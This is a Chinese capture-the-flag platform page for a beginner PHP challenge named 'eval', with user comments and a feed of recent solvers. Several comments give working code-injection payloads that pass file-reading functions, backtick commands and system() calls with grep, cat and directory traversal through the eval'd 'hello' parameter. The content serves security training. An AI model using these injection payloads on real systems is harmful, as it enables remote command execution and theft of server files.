evalWEB 未解决

分数: 15 金币: 1
题目作者: harry
一  血: moren448
一血奖励: 1金币
解  决: 19966
提  示:
描  述:
eval
评论
kuaiting 4年前

使用?hello=file('flag.php') 或者?hello=show_source('flag.php') 等可以读取源码的函数 或者构造var_dump($a) 闭合

回复 5

陈江川0118 4年前

简单来说就是利用file函数把flag.php的内容存到一个数组中,然后打印出来数组的内容即可

回复 4

trackboy 4年前

?hello=file(%22flag.php%22) ?hello=file_get_contents(%27flag.php%27) ?hello=1);show_source(%27flag.php%27);var_dump( ?hello=);echo%20`cat%20./flag.php`;//

回复 4

lgb236277484 5年前

highlight_file()

回复 0

mingshen 5年前

PHP show_source() 杂项函数,或者file协议读取文件内容

回复 0

linkzoom 5年前

离谱,cat啥啊真的是...

回复 0
ctf20210817 4年前

确实是cat就可以

回复 0

kunge 5年前

基础不牢,地动山摇,以前用过tac,今天怎么也想不起来。感谢使用file()函数哪位大哥,感谢对tac与cat进行分别讲解的大哥,学到了很多

回复 3

finti 5年前

此题考察php相关,include是将flag.php文件包含进页面代码,顺便提示做题人flag位置,$request可用与接受get和post的传递的参数,eval函数可以把字符串作为php命令执行,知道这些你就可以用get方法传递hello变量,并在hello其中写入查看flag.php的命令了

回复 16

会煮面999 5年前

直接使用system("grep -nr flag{ /")暴力搜索hhh :)

回复 1

jang 5年前

简单,system()绕过,然后括号加ls ../../../看有没flag,直接cat ../../../flag出

回复 1

WriteUp

image
harry

1 金币

评分(12)

解题动态

Hogan 攻破了该题 1小时前
sorry123 攻破了该题 3小时前
xiaolili 攻破了该题 4小时前
ljjbit 攻破了该题 8小时前
墨尘 攻破了该题 9小时前
booku 攻破了该题 10小时前
15306829633 攻破了该题 11小时前
CHT 攻破了该题 11小时前
河马 攻破了该题 12小时前
Mr.Cyber 攻破了该题 13小时前
聪仔草莓51 攻破了该题 15小时前
pleonexia123 攻破了该题 15小时前
wsx68696 攻破了该题 1天前
lipingctf 攻破了该题 1天前
H1lla1n 攻破了该题 1天前
liyimanfan 攻破了该题 1天前
Yun1217 攻破了该题 2天前
你倒过来读看看呢 攻破了该题 2天前
jvfnvd.vl 攻破了该题 2天前
倚楼叹世间 攻破了该题 3天前
问题反馈